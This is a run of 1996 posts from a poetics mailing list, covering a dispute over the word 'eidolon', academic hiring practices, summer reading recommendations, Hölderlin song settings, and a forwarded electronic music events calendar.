Musicworks seems to fit that bill for me, having good articles on a wide variety of musics. Check out http://www.web.net/~sound/ for more info. ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

↑ Index

121. Thomas M. Orange
dissin dat higher-in thang
Sun 9 Jun 1996

---

but aldon,

supposin a judiciary body of some sort was to call yale on thr higherin disscision (or san jose state for that matter, altho here is a different matter cuz wr talkin public vs private monies)--what would they say?

"well yr honor, givin the fact that our `job search' (my quotes of course--the defendant from the search committee would be using the phrase in all sincerity) resulted in our conclusion that, altho it may look highly nepotistic, the candidate chosen to receive our highering offer was clearly the most qualified applicant from a pool of highly qualified candidates, and we stand by our decision as a difficult but entirely fair *and objective* one..."

how can you question that logic or assail that argument? can't really, because it all rests on the appearance of objectivity: whatever admittedly subjective factors a search committee would willingly admit go into a `job search,' ultimately those subjective factors can never be held to any kind of objective accountability. sorry to slip so facilely into the subj-obj paradigm, but when has the university search-and-hire process ever been forced into external, let alone self scrutiny?

the commodity under consideration here of course being particularly slippery: would that knowledge were a craft, that the town carpenter could find an eager and skilled apprentice to take on...

tom orange
[redacted]

↑ Index

122. Carnography
Re: nonsuch sonnet impotent lifetime guarantee
Sun 9 Jun 1996

David:

> *Rob Hardin,*
>
> *I sincerely apologize for having irked your ire by not mentioning your own work in the eidolon discussion.*

I've been off-line for three days and this is the best you could do? To accuse me of anger and narcissism when neither were present? Did you really miss the lightness of my response? The response itself had to do with your ad hominem attacks of Annie Finch, with your dismissal of her argument on the basis of a reference to a single word in a Whitman poem, and with your supposition that Whitman's poem remains the most important use of the word *eidolon* (its meaning an indictment of the triviality of this exchange). I mentioned my own feeble attempts to imitate Crane in a rather self-incriminating tone. For you to have read embarrassed confession as triumphant citation looks breathtakingly unperceptive.

The problem with your ad hominem attacks is that they reflect badly on the attacker and not on the object of the attack. Your indictments say far more about you than they do about my remarks on the word *eidolon*.

> *Eidolon is more than a mere*
> *feature of one Whitman refrain. It has been used regularly by several*
> *other writers.*

If you're going to quote me, honey, at least give me my props.

> *While I could bring Hart Crane, yourself, or HP*
> *Lovecraft "the putrid, dripping eidolon of unwholesome revelation"*
> *into the discussion, I still am unaware of an earlier poetic reference*
> *than Whitman and was instructed at an early age to always return to*
> *the source.*

Eidolon has been used by many earlier writers and contemporaries of Whitman, such as Scott ("Calling up his eidolon in the hall of his former greatness"), Carlyle ("...living with mere Eidolons"), Poe ("An Eidolon named Night/On a black throne reigns upright"). Your instruction to "look to the source" was obviously not itself a chronological source.

Furthermore, your poinyt about precedents is moot, since I myself answered it in the post you've tried to answer:

> *You may argue that Crane was making a deliberate ref. to*
> *Whitman (especially in light of _The Bridge_ and other*
> *Whitman-meets-the-Symbolists-in-a-play-by-Marlowe-esque*
> *works). But you're still suggesting that, without an intimate*
> *knowledge of Whitman's diction, A.F. is insufficiently*
> *literate to be part of this discussion. To which I say:*
> *should we write out an idiosyncratic reading test, complete*
> *with trick questions, give it to you by means of embedded*
> *references, grade you on the test, and bring it up*
> *whenever we disagree with one of your points? Knowledge*
> *ought to be shared, not hoarded.*
>
> > *I will argue that Crane was making a deliberate ref. to Whitman. I am*
> > *suggesting that without using your arms to open an OED to refute my*
> > *point (anyone's for that matter),*

Are you actually affecting disdain for etymological reference works? What are we to replace them with--your shoddy and unproven suppositions?

I haven't had to open an OED in any previous post. But what if I had? Would that have made my knowledge less genuine--because I acknowledged a legitimate source of information? Or would you rather we renounce all attempts to check our facts?

> *or to find out what any unknown word*

Eidolon is not an unknown word. If it were, we wouldn't be having this discussion.

> *means, one arrives to the discussion sufficiently lazy enough to speculate on what is being said and offer their opinion, instead of their knowledgable experience.*

You offered far more than your opinion: You attacked another member of this list for missing your vague ref to a single word in a Whitman poem. You then inferred that missing your reference was a sign of illiteracy. I find it odd that such an exacting critic would now express contempt for etymology and research.

> *In answer to your question "Why suggest that a person who speaks passionately of formal verse is ignorant of all other kinds?" [not] It's hard enough to understand an opposing point of view without attributing nasty motives to the speaker.["]*

Nice citation, but the closing quote mark ought to have come fourteen words later.

> *I suggest that if we continue this thread in a manner worth replying to, that we talk about how to determine which strings of words fit into a particular form, what aspects of words (phonemem, morpheme, arragement, connotational value, associative change of these values, etcetera) solidify in our minds which forms are to be used, as charles (chax) mentioned a while back.*

I suggest that, if you truly want to return to a more civil mode of discourse, you thrill us with your self-restraint, and neither accuse Annie Finch of deception and illiteracy, nor me of narcissism and ire. My post to you and to Annie bore the suggestion that we reman civil.

I've also seen brutal remarks about some of the sonnets posted here; I might not like some of them myself, it's true. But I can see no useful purpose in slagging the authors. Besides: as Lynne Emmanuel has pointed out (_After Modernism_), language poets and neo-formalists have more in common than is readily apparent. Aren't both "camps" fairly obsessed with questions of technique? Didn't Barret Watten once write that technique is the most exciting aspect of poetry?

Also: linguistic terms are precise ones for discussing certain aspects of poetry; but in others, only conventional prosodic terms will do. I see no reason to restrict discussions of technique to linguistic terminology. Even Jakobsen did not confine his analyses to grammar and phonology. Even Saintsbury said a few useful things to Jakobsen.

All the best,

Rob Hardin

http://www.interport.net/~scrypt

↑ Index

123. Carnography
Re: hysterical dialect, hysterical eidolon
Sun 9 Jun 1996

Gwyn typed:

> *I think the "sexist etymology" referred to is the word's origin in Gk. "hustera," womb, and the prevailing theories, at the time, that overemotion in women was caused by having their womb unhitch itself and float around loose inside their body.*

Yes, but should we really be held accountable for the etymological origins of the words we use? What I objected to in Annie's original comment was the suggestion that the *term* hysterical had lowered the tone of the debate to the level of gender prejudice. What would happen if we all posted in French, and were forced to reduce all classes of nouns to masculine and feminine? Would we all be guilty of etymological sexism?

If we're going to discuss the sexist etymology of the English language, that's one thing. But to invest the user with the sexism of a word's history is uncalled for. At best, the message conjured is confused.

At best, /the mes/sage con/jured is /confused
and us/er, et-y-mo-/logi-/cally used

Funny, isn't it? That mere words--like *hysterical* and *eidolon*-- have such power to provoke, such histories to invoke?

All the best,

Rob Hardin

http://www.interport.net/~scrypt

↑ Index

124. George Bowering
Re: commerce?
Sun 9 Jun 1996

> *First commercially published book, _The Boatman_ 1957.*
>
> *George -- I'm curious about what you mean when you say this, i.e. "first commercially published book." Is a commercially published book any book*

> *which is for sale? Or is it any book from a press which actually lives via profits from book sales (which would actually discount more than just the so-called non-profit presses). Or is it a book published with the intent of making money, as opposed to the intent of simply distributing works of literature? Or what? No axe to grind here, just wondering what this phrase means to you, and others.*
>
> *charles*

Oh, I just meant by a commercially-bent publisher. She had published her earlier books under her own imprint and a chapbook by a friend. She published other books under her own imprimateur, too, nice woodblock and handset things by people like Al Purdy, Alden Nowlan.

.....
"Silence, sole luxury after rimes . . ."
--Mallarme

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

125. Carnography
Re: the iliad of hypnotism
Sun 9 Jun 1996

Jordan Davis typed:

> *Uh, hey...*
>
> *Anybody read any good poems lately?*

Do old ones count?

Interestingly, I just read a poem by Charles Baxter ("The Last String Quartet of Arnold Schoenberg") that seems to exemplify everything we tend to renounce: an artless affect, prosaic free verse technique, and lucid narrative.

Similarly, a recent collection of Dennis Cooper's new and unknown poems has just appeared. So far, I love it.

Even though I don't entirely agree with it, Charles Watson's essay-poem on the failure of spontaneous prose is pretty damned interesting.

Everything else I've been reading is ancient--except the diaries of Dennis Nilsen, and Peter Sotos's _Total Abuse_.

All the best,

Rob Hardin

http://www.interport.net/~scrypt

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126. Pierre Joris
EMF CALENDAR ALERT (fwd)
Sun 9 Jun 1996

---

ouf! now that the wierd sonnett thread seems to have run its course & Cage & music is popping up, lemme forward this summer schedule of music events.(Just a note re early/late Cage: there are years when I prefer early Cage, there are years when I prefer the late Cage, there are other months when I don't listen to Cage at all -- & that goes for all composers, poets & painters; it seems somwhat silly to make sweeping indictments re this or that musician, this or that moment in an artist's career -- or at least worth remembering that as listener/reader/critic one always speaks out of a very relative moment & place oneself from which any generalization is likely to be reductive. But right now what I'm listening to is Messiaen "+concert a quatre" which will be followed by Sulochana Brahaspaqti's "Raga Bilaskhani Todi" & Wilhelm Killmayer's setting of Holderling songs.

Pierre

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]|
==========

---------- Forwarded message ----------
Date: Thu, 6 Jun 1996 11:56:43 -0500
From: Electronic Music Foundation <[redacted]>
To: [redacted]
Subject: EMF CALENDAR ALERT

EMF CALENDAR ALERT
========== June 6, 1996

EMF CALENDAR is published on the web by Electronic Music Foundation as a selective guide to important events worldwide. Our web site is

http://www.emf.org

This email version of EMF CALENDAR is being sent to you either because you've already asked to be on our list or because we believe you'll be interested in what we have to say.

If you would rather not receive future email messages from us, simply let us know.

If this has been forwarded to you by someone else and you would like to receive these notices directly, just send an email message to [redacted] and say something like "Put me on your list" and we'll put you on our list.

Note: Each monthly email calendar update contains only new material. For a complete picture of the future, save all calendars or check our web site.

CONTENTS:

1. Summer education
2. Summer festivals and conferences
3. Concerts
4. Fall previews
5. To submit listings

========== SUMMER EDUCATION

PHYSICAL MODEL SYNTHESIS WORKSHOP
Friday, June 21
at the Accademia Bartolomeo Cristofori, Florence, Italy

The Centro Tempo Reale of Florence will host a one day workshop which will include lectures and presentations relating to various aspects of physical model synthesis. Participation is free.

[redacted]

***

1996 LES ATELIERS UPIC
June 25 to July 19
Les Ateliers UPIC, Alfortville (near Paris), France

Please note that the dates have changed since last month's emailing. This course in computer music and composition will include lectures, supervised group practice in UPIC studios, individual studio time, visits to new music centers and student presentations at the conclusion of the course. Both English and French will be spoken throughout the course. Housing is available.

For more information:

[redacted]
(33)(1) 4378 80 80 Voice
(33)(1) 4368 25 52 Fax

Les Ateliers UPIC
16-18 Rue Marcelin-Berthelot
94141 Alfortville
FRANCE

***

IRCAM SUMMER ACADEMY
June 24 to June 29
at IRCAM and the Centre Georges-Pompidou, Paris

Workshops in various aspects of computer music such as composition, gestural interfaces for computer control and musical computing. Also, personal demonstrations of software and individual practice work. Instructors inlcude George Benjamin, Marco Stroppa, Michel Waisvisz, Laetitia Sonami and others. Application deadline is May 31.

http://www.ircam.fr/saison/Academie-e.html

========== SUMMER FESTIVALS & CONFERENCES

1996 CROYDON COLOURSCAPE FESTIVAL
June 6, 7, 13 and 14
Central Croydon, London

Concerts include Llorenc Barber's 'City Symphony', the premiere of Lawrence Casserely's 'The Garden of Forking Paths' for guitar and ISPW (played by Richard Durrant, guitar), Simone Rebello's work for Colourscape C, Melvyn Poore's 'Happily Ever After', and several other works.

Contact: [redacted]

***

SON-MU '96
Monday, June 17
at Maison de Radio France, Paris

Two concerts: the music of Benjamin Hertz, Lionel Marchetti and Francis Larvor will be performed at 7 pm; the music of Patrick Ascione, Ilhan Mmaroglu and Michel Chion at 9 pm. Part of the 'Cycle Acousmatique' concert series.

Maison de Radio France
SALLE OLIVIER MESSIAEN
116 ave du Président Kennedy
75016 Paris
FRANCE

========== CONCERTS

DOGS OF DESIRE: MISCELLANEOUS HOWLS
Friday, June 7, 8:00 PM
at The Kitchen, 512 West 19th Street, New York

David Allen Miller conducts an amplified, 20 piece orchestra of the future presenting new works by Michael Daugherty, Kamran Ince, Stewart Copeland and the New York premiere of David Lang's 'Are You Experienced?'. Tickets: $15.

For reservations and information: [redacted]
Email: [redacted]

***

DOGS OF DESIRE
Saturday, June 8, 8:00 PM
at The Kitchen, 512 West 19th Street, New York

Todd Levin's 'Parallel Universe', a song cycle for voice, video and chamber orchestra based on the life of a vagrant, will be performed. A conversation with the artist will follow. Tickets: $15.

For reservations and information: [redacted]
Email: [redacted]

***

BANG ON A CAN-SPIT ORCHESTRA
Friday, June 9, 7 & 9 PM
at The Kitchen, 512 West 19th Street, New York

35 classically trained musicians updates the chamber tradition performing new works which stretch the boundaries of classical music.

For reservations and information: [redacted]
Email: [redacted]

***

PAMELA Z
Friday, June 9, 8:00 PM
at Footworks, San Francisco

Pamela Z will perform a solo set in an evening with Hip Circle, Jon Weaver and Sten Rudstrom as part of San Francisco's Festvial of Improvisers.

For more information call festival organizers: [redacted]
Or Footworks: [redacted]
To contact Pamela Z: [redacted]
http://www.sirius.com/~pamelaz

***

CHRISTOPHER PREISSING: FRAGMENTS
June 13 to 15
at the Indianapolis Repertory Theatre Upperstage, Indiana

Multi-Arts performance featuring electronic music, dance, theatre, video and slides. Tickets: $10.

Contact: [redacted]

***

DAVID BEHRMAN
Friday, June 14, 8:00 PM
at Lotus Music & Dance Studios, 109 West 27th Street, 8th Floor, New York

David Behrman (electronics) will perfom 'Congress of Elders' with Jon Gibson (sax / flute) and "Blue" Jean Tyranny (keyboards). Admission: $8. Reservations are strongly recommended.

Information & Reservations: [redacted]

***

BUN CHING LAM / BERTRAM TURETZKY / MARK DRESSER
Saturday, June 22, 9:00 PM
at The Kitchen, 512 West 19th Street, New York

Lam and Dresser perform in The Kitchen, while Turetzky is audio-visually connected from Santa Monica. They perform an evening of solos, duets and trios on Qin (Chinese 7-string sitar), piano and bass, uniting Eastern and Western traditions. Tickets: $15.

For reservations and information: [redacted]
Email: [redacted]

***

GORDON MONAHAN: MACHINE MODULATION MATRIX
June 27 to 29, 8:00 PM
at The Kitchen, 512 West 19th Street, New York

Monahan returns to The Kitchen as the final stop on his world tour to present the completed work of this installation that he presented as a work-in-progress last summer. Monhan's materials include metal, magnets and steam. Tickets: $15.

For reservations and information: [redacted]
Email: [redacted]

***

PAMELA Z
Friday, June 28
Salt Lake City, Utah

Pamela Z will perform a solo concert as part of the Utah Arts Festival, which includes such diverse acts as Laurie Anderson and the Mormon Tabernacle Choir.

For more information about the festival, call: [redacted]
To contact Pamela Z: [redacted]
http://www.sirius.com/~pamelaz

***

ELECTRONIC MUSIC, NEW FILM AND CHAMBER MUSIC
Saturday, June 29, 8:00 PM
at the Black Box Cinema of Film Museum, Dusseldorf, Germany

Electronic music by Klarenz Barlow, Masahiro Miwa, Frank Schweizer and Christian Banasik, new chamber works by Hanna Kulenty and Jacek Rogala, and silent films by Han Richter, Oskar Fischinger and Wilfried Basse will be presented.

Contact: [redacted]

***

BENOIT MAUBREY / DIE AUDIO GRUPPE
July 10 to 13, 8:00 PM
at The Kitchen, 512 West 19th Street, New York

This performance, entitled 'Audio Ballerinas and Electronic Guys', features electro-acoustic clothing such as audio tutus and smoking jackets, rendering each performer a walking studio, able to record, mix and loop found and prerecorded sound.

For reservations and information: [redacted]
Email: [redacted]

========== FALL PREVIEWS

SONIC CIRCUITS IV ELECTRONIC MUSIC FESTIVAL
Begins in September
Several cities in the US and Canada

This international experimental music festival, produced by American Composers' Forum, will take place in Boston, New York, St. Cloud, Minneapolis, Toronto, Winnipeg and others. To find out how to host a leg in your city, and for more information, contact:

[redacted]
http://www.umn.edu/nlhome/m111/compfrm

========== TO SUBMIT LISTINGS

If you'd like to list an event, simply send us the information. The information should contain the date(s), place (venue, city), name of event, type of event (i.e. conference, concert, festival...), description (what's happening, ticket prices... anything relevant), and where to go (contact numbers, email, URL and street address) for further info.

Send your information to us at [redacted]

There is no charge for brief listings. For ads in conjunction with listings, please contact us for rates.

==========
EMF Calendar is a publication of Electronic Music Foundation, Inc.

Electronic Music Foundation
116 North Lake Avenue
Albany NY 12206
USA

[redacted] Voice
[redacted] Fax

[redacted]
http://www.emf.org

##

==========
Electronic Music Foundation
116 N. Lake Ave.
Albany, NY 12206
USA

http://www.emf.org

[redacted] - voice
[redacted] - fax
[redacted] - email

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127. Carnography
Re: EMF CALENDAR ALERT (fwd)
Sun 9 Jun 1996

Pierre Joris:

Your latest post was unusually wise, restrained, tolerant and perceptive. One question:

> *But right now what*
> *I'm listening to is Messiaen "+concert a quatre" which will be followed*
> *by Sulochana Brahaspaqti's "Raga Bilaskhani Todi" & Wilhelm Killmayer's*
> *setting of Holderling songs.*

I'm certain we all know Messaien. (Are you speaking of his Quartet for the End of Time?) But I've never heard of the last two composers you mentioned. Can you tell us more about Killmayer's settings of H=F6lderlin (who happens to be one of my favorites)?

All the best,

Rob Hardin

http://www.interport.net/~scrypt

↑ Index

128. Pierre Joris
Re: EMF CALENDAR ALERT (fwd)
Sun 9 Jun 1996

On Sun, 9 Jun 1996, Carnography wrote:

> *I'm certain we all know Messaien. (Are you speaking of his Quartet for the*
> *End of Time?) But I've never heard of the last two composers you mentioned.*
> *Can you tell us more about Killmayer's settings of Hölderlin (who happens*
> *to be one of my favorites)?*
>
> *All the best,*
>
> *Rob Hardin*

Rob -- the Messiaen is not the "End of time Q" but a late piece (1990-1991) (score completed by his wife Yvonne Loriod after M's death) for flute,oboe, piano & cello. Its world premiere recording by the orchestra of the Bastille opera,

Myung-Whun Chung conductor, can be found on Deutsche Grammophon 445 947-2. Killmayer is a German composer (b. 1927) & his "Holderlin -Lieder" is a large (2 cd) double song cycle using late Holderlin poems set for orchestra & tenor & compsoed between 1982 & 1987. It's a strange, powerful work, ranging from the ethereal-metaphysical to the heavy neo-classical germanic -- but fascinating. The CD is Wergo: WER 6245-2. Sulochana Brahaspati is one of the great traditional ndian vocalists, the raga I mentioned is in the _khyal_ genre & she is accompanied by Sultan Khan (Sarangi) & Anindo Chatterjee (Tabla). [Nimbus CD # NI 5305]

Pierre

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129. Joe Amato
Re: dissin dat higher-in thang
Sun 9 Jun 1996

---

i like what---is it simon?---sd about yale... i know it isn't aldon's point, but i rather like the idea of pointing to yale's less attractive aspects... new haven has a shitload of problems, yale has never had a friendly relationship with the town, yale itself has alla the worst, if some of the best, ivy trappings... witness the grad. student unionization effort, and the esteemed faculty's response to same...

let me put it this way: a novelist friend of mine was once offered a job there, and turned it down... and it tickled me to hear this...

would that i might turn down yale, i know...

anyway, one of the reasons that yale *must* conduct a job search has to do with meeting eeoc/aap hiring guidelines, no?... now before anybody jumps out of their computer monitors at me: i'm in favor of such guidelines in general... but fact is that such guidelines, as well as general policies of academic hiring, require an ostensibly open search (if i'm hinting at something i shouldn't be, somebody please correct me here)... ultimately this ends up costing a lot of us a lot of wasted money... i'm not sure what to do about this... in any case there's a lot of false leads, and this is esp. aggravating in academe, where the job market is tighter than newt gingrich's asshole...

excuse me... i meant bob dole's...

anyway, inside hiring goes on all the time... we've just conducted an ostensibly open search for a dean here on my campus, and ended up hiring the inside man (which is not to say that there wasn't some chance he wouldn't get the job, or that he wasn't the best qualified for the job, but---)... in three job searches in which i've been directly involved, i was absolutely astonished at the capriciousness of the process... at the same time, it's clear to me that who-knows-whom is

still a major factor in hiring decisions (and i've cut some folks some favors in this regard mself)... and this, again, is aggravated by the job market... it's simply astonishing to me (i guess i'm easily astonished, no?) that i have some inside dope on just about every hire i hear about in my presumed area(s)---either somebody i know left, or somebody i know was also applying for said job and was under the impression they were going to get it, or i thought i had a good crack at it, or whatever... again, small world...

i like what aldon sd to me a while back: that given the current vagaries, we might all swap positions to determine where we might all feel most comfortable... but as aldon also noted, the "all" here is existing faculty, this doesn't answer a whit to new blood... ergo my wife leaves her visiting so's we don't have to live 1500 miles apart, and here we're limping along on my so-called (tenure-track) salary while she and i consider the ethics of adjuncting (once again---we've both seen that scene)... but a visiting position opens up, natch, at her former institution...

i understand and appreciate that not all of you on this list may be interested in such laments... but just by way of fleshing out the academic backdrop, esp. when you hear that the "avg." professorial salary across all disciplines and all postsecondary institutions has finally cracked $50k (as aaup's mag. _academe_ cover-glossed "our" current salaries, "not so bad")... to give you some idea of just how misleading this number is, how disparate the academic experience can be: at my (tech.) institution, the AVG. assistant prof. makes something like $43k... now our institution ranks 14th. out of 16 tech. institutions in terms of wages (last i checked)---near the bottom, that is (and with *no* allowance made for the relatively high cost of living here in chicago)... yet nobody in my dept.---a humanities dept. that comprises anguish, falafelsy and mystory, incl. full-tenured profs. with 25 years---nobody is making more than $40k...

both my wife and i had 'careers' in other professions before becoming academics... this wasn't for us a decision that was made w/o first having come to terms with corporate america (in our early and mid-twenties)... we know from first-hand experience that it's tough all over... but at the same time, neither of us anticipated the shell-game we're in the midst of now... which i suppose is why aldon is pissed about the yale situation... i'm pissed too, not at the guy they hired, but at the system we've (ok?) constructed... and as with most systemic pissing and moaning, it's difficult to point a finger in any but an institutional direction...

all best,

joe

↑ Index

130. Eliza McGrand- CVA Guest
the eternal summer reading thing
Sun 9 Jun 1996

---

re: read anything good yet...

bruce weigl's _Sweet Lorraine_ just came out and WORTH waiting for; carolyn forche's _The Angel of History_ which is getting added, but slightly wierd resonance from being read at the same time as dave smith's _Dream Flights_ (they both even have similar covers...) -- keep getting flicked out of time and into a sense of history as something as palpable as present, i.e. went by a statue of a woman's head, sort of fierce and french liberty-looking, at decordova museum and found myself thinking it could have come from a southern church, or from vienna, or russia, and time went awry for a moment.

and got coaxed into reading peice by meridel lesueur, "Annunciation," short story. WOW! WOW! WOW! WOW! WOW! WOW! WOW! WOW! WOW! WOW! WOW! imagine everything glorious about tillie olson (if possible; there is so much) mixed with insinuating sound of judy grahn, then add a particular poignant sweetness and clarity and that is just the beginning of meridel lesueur. piece i found was in Norton Anth. of Lit by Women, and i am having stinker of a time finding anything else. any ideas? e

↑ Index

131. Joe Amato
Re: the eternal "summer" reading thing
Sun 9 Jun 1996

---

ok, let's see, my recent "reading," w/capsule commentary:

-- finally got around to part ii of art spiegelman's _maus_... just can't say enough good about this book...

-- primo levi's _the periodic table_... some beautiful insights here, esp. if you're into science/chemistry...

-- erica hunt's _local history_... intriguing, demanding writing... this and c. s. giscombe's _here_ have helped me in my own work on place...

-- (a plug) my wife kass fleisher's novel in manuscript, "blue blazes to dead woman hollow"... a somewhat conventional novelistic plot about life in central pennsylvania (present & past) that gradually reveals itself through assemblage & poetry...

-- _critical inquiry_ winter 96---miriam bratu hansen's piece "schindler's list is not shoah: the second commandment, popular modernism, and public

memory"... cogent, useful analysis, esp. if you have any interest at all in theorizing publics...

-- poetic briefs 20... very engaging discussion going on here...

-- chris funk's essay on hypermedia poetry... again, at http://cnsvax.albany.edu/~poetry/hyperpo.html

-- maria damon's _the dark end of the street_... i've read the intro., and the chapters on spicer/duncan and stein... and i'm learning something new on every page...

-- alan golding's _from outlaw to classic_... like ron s. sd a while back, one of the best shorter summaries of the new critics & co... i like too alan's approach to canonicity...

-- (another plug) the electronic book review issue on "the politics of selling out" (incl. a piece by moi, and a newly added "riPOSTe" by michael berube)... at http://www.altx.com/ebr

-- the weather... i'm convinced there's a consipiracy here in chicago to keep me inside, reading...

joe

↑ Index

132. Chris Stroffolino
Re: the eternal "summer" reading thing
Sun 9 Jun 1996

Hey---is Jeff Hansen on this list still? If so, I need your back channel address? The one I have (K-12 something) doesn't work..... Chris Stroffolino....

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133. Anton Vishio
Re: EMF CALENDAR ALERT (fwd)
Sun 9 Jun 1996

On Sun, 9 Jun 1996, Carnography wrote:

> *Pierre Joris:*
>
> *Your latest post was unusually wise, restrained, tolerant and perceptive.*
> *One question:*
>
> *But right now what*
> *I'm listening to is Messiaen "+concert a quatre" which will be followed*
> *by Sulochana Brahaspaqti's "Raga Bilaskhani Todi" & Wilhelm Killmayer's*

> *setting of Holderling songs.*
>
> *I'm certain we all know Messaien. (Are you speaking of his Quartet for the End of Time?) But I've never heard of the last two composers you mentioned. Can you tell us more about Killmayer's settings of Hölderlin (who happens to be one of my favorites)?*
>
> *All the best,*
>
> *Rob Hardin*
>
> *http://www.interport.net/~scrypt*

Thanks also to Pierre Joris for his informative and level-headed posting.

If you're interested in getting to know European music from the last thirty years or so, Holderlin provides an excellent way in. I've been listening recently to the cycle of works composed by Bruno Maderna (1920-1973) around Holderlin's Hyperion poems, in a breathtaking performance by the ASKO ensemble conducted by Peter Eotvos on Disques Montaigne (the number on the the back of the CD set is MO 782014). The music ranges from avant-garde orchestral writing (at which Maderna was particularly skilled) to almost Renaissance-sounding choral writing to vintage late 1950's tape composition - pretty hard to sum up, at least in part because its not clear precisely how Maderna intended all these works - written over ten years - to go together. But I highly recommend it. (There are also readings of Holderlin's poetry by Bruno Ganz.)

Another place to listen would be to Luigi Nono's Fragmente-Stille, An Diotima (Deutsche Gramophon 437 720-2), a work for string quartet written in the late 1970's; the score contains some 40-odd quotations from Holderlin, not to be recited in performance, but to be used as guides to expression for the performers, who "may 'sing' them silently as they experience them - as sounds striving for that 'delicate harmony of the inner life'", which quote from the composer is a pretty good idea of the very rarefied (almost Feldman-esque) soundworld of the piece, and of a lot of Nono's late music.

Also to be recommended is the Scardanelli-cycle by Heinz Holliger, who is not just an oboist who plays all that baroque stuff but a fine composer; I've not been able to get my hands on a copy of the recording (on ECM) as yet, but have heard many glowing comments about it.

In addition to the settings by Killmayer, there are also Holderlin settings by composers of the stature (in Europe, at least) of Gyorgy Kurtag, Gyorgy Ligeti, Hans Werner Henze, and Wolfgang Rihm, not to mention by composers of previous generations such as Paul Hindemith and Benjamin Britten - quite a diverse lot!

Anton J. Vishio
[redacted]

↑ Index

134. Aldon L. Nielsen
Re: singnafump
Sun 9 Jun 1996

chris -- Oppen appears in an unlikely remark made by someone who has been stopped by a red light in the district around yale --

↑ Index

135. Chris Stroffolino
Re: singnafump
Sun 9 Jun 1996

When one is stopped by a cop or a deconstructionist around YALE, all one needs do is yell "OPPEN YOU" or "OPPEN SESAME" and this can be quite seedy if novel...

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136. Fred E. Maus
Re: the iliad of hypnotism
Sun 9 Jun 1996

> *Interestingly, I just read a poem by Charles Baxter ("The Last String Quartet of Arnold Schoenberg") that seems to exemplify everything we tend to renounce: an artless affect, prosaic free verse technique, and lucid narrative.*

Where does one find this? And what does it have to do with AS's 4th Quartet?

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137. Robert Drake
Re: the eternal summer reading thing
Sun 9 Jun 1996

re: Meridel Le Sueur--

i've got 2 slim volumes on the shelf (signed, i was lucky enuf to meet her 'bout 17 years ago):

Women On the Breadlines; 4 shortshort stories which originally appeared in New Masses and The Anvil magazines; West End Press, (Box 697, Cambridge MA 02139). there's a blurb on the inside cover for 4 additional titles.

Rites of Ancient Ripening; more recent poems, plus a bibliography in the back (12 books, frm _Annunciation_ in 1935, thru 1974); Vanilla Press, Minneapolis (no address) 1975.

i prefer the stories, mself, but she was an awe-inspiring individual, and under-appreciated...

luigi

↑ Index

138. **Ken Edwards**

Re: the iliad of hypnotism

Sun 9 Jun 1996

> *Uh, hey...*
>
> *Anybody read any good poems lately?*
>
> *Jordan*

Try some of these (books), currently on my active shelf ...

- Michael Haslam: A Whole Bauble (Carcanet). In effect, a collected poems (1977-94), but rewritten somewhat, by a neglected, brilliant poet of the Cambridge Diaspora (in his own words, "I think I'm a sort of wayward Prynneite, I suppose, and... etcetera") - Miles Champion: Compositional Bonbons Placate (Carcanet). Excellent first collection. Carcanet is getting quite adventurous for a change. - Paul Celan, tr Pierre Joris: Breathturn (Sun & Moon). - Catriona Strang: Low Fancy (ECW Press)(again). Wild "translations" of the Carmina Burana. - Ralph Hawkins: Flecks (Oasis Books) -- will be hard to obtain for non-UK readers so I quote:

Off Course, A Little

Looking you'll never see what you miss.
You answer my question asking.
The bridge is there and you look hurt.
But that's all it is.
It's gone now.
It's the turn off.
What is this heart shaped town I long for.
We're off the map.
The next roundabout will change the vantage.
Will take us back, together, all.

- Rob MacKenzie: The Tune Kilmarnock (Form Books). Likewise, rather fugitive. Harry Gilonis is the publisher. Post-Language poetry in English, Scots and Gaelic, eg: "suilean uaine over sand / sallow 'hint an fheusag bheag / bumfluff ejaculate 'tis a // quarter bottle balls all / inevitable poetries though / pulling God by's beard an /..."

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139. **Tim wood**

*Re: *Querzblatz*: Specimens and usage*

Sun 9 Jun 1996

Not to revive a passed thread, but... to confuse a discussion on an empty signifier in a non-existant space... Quertzblatz is a wonderful invention for current (at least thaz my as-sumption) experimental work with the front end hinting of Queer (yes, as in both theory & pracitce) and kitchy (hate that one... never can spell it) advertising (Blatz! the new Beer from Budweiser for you all your BLITZED BLATHERING BUDDIES!! <enter cheerleaders>). We now return you to your regular mailing list...

Tim

> *From: Carnography, [redacted]*
>
> *Rrrr-whaaar, you dear and pungent l'construction workers:*
>
> *Since neologisms tend to congeal--to become stained by the context in which they are used--I thought I'd blend in my very own (all ideas copyright 1996 by Robert Hardin, professional prosodist: DO NOT PARAPHRASE) examples before the cement hardens and the color scheme goes to the printer.*
>
> *Microwave your mixed metaphors for faster flavor,*
>
> *Rob Hardin*
>
> *(who requires no insurance or medical coverage, since a certain pelagic sonnet by a Pultzer Prize-winning Belgian will allow him to "live forever")*
>
> **Querzblatz*: Specimens and usage*
>
> *IIII. An exact copy of Kandinsky's *Staccato Abstract* was tattooed all over the suspect's pulsating, querzblatz hands.*
>
> *XV. I can't read the letterhead on account of those roosters and their querzblatz neo-Italian madrigals.*
>
> *VV. It is no longer querzblatz to read the ingredients aloud while pouring*

> *the [table of] contents on yourself.*
>
> *MCCCXXXCIV. Ron Silliman's new manual, *Teach Yourself Querzblatz in Fourteen Days*, is a must for students and professional prosodists alike.*
>
> *LXDQD. Aphid hail, aphid hail, querzblatz *homopterae* in the local mail!*

↑ Index

140. Tim wood
Re: what poetry knows about scientists
Sun 9 Jun 1996

> *I had the same feeling. Mathematics, in particular, I found a highly creative activity, requiring intuitive leaps as well as rigorous logic. Some of group theory and what mathematicians call 'foundations' (the intersection of logic, set theory and number theory) is especially beautiful.*
>
> *People often talk about the connections between mathematics & music, but the only connection that I found useful at the time was in understanding acoustics*

My undergrad was in physics. What I found most useful was not the "connections" or the creative activty per se, but the (and yes what follows will be considered treasonious in certain P-modern corridors) almost transcendant ideas behind the physics. It's very rare that anything I learned in physics will end up in my work (either creative or scholarly) and often when it does it's nearly subtextual: existing in the structuring and hints of meaning.

